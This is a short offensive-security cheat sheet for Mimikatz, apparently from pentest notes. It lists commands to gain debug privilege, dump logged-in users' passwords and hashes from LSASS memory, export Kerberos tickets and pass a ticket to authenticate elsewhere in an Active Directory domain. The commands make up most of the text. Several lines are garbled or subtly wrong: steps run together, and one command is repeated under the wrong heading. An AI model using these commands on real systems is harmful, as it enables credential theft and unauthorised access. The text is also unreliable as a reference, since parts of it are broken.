Tool : MIMIKATZ
Basically , In we dump ‘LSASS’ memory for credentials or Hashes , or make a effort to loot tickets to get ourselves authenticated to different resources or services in the AD environment.
We use MIMIKATZ or manually dump LSASS process memory , but we need SeDebugPrivilege which is normally with local system administrator or System NT Authority.
Start Mimikatz
.\mimikatz.exe
Engage Debug Privileges
privilege::debugDump logged in sessions passwords
sekurlsa::logonpasswords
Show Kerberos Tickets in memory
sekurlsa::logonpasswords
Export Kerberos tickets
kerberos:list /exportuse kerberos ticket
kerberos:ptt {{ticket}}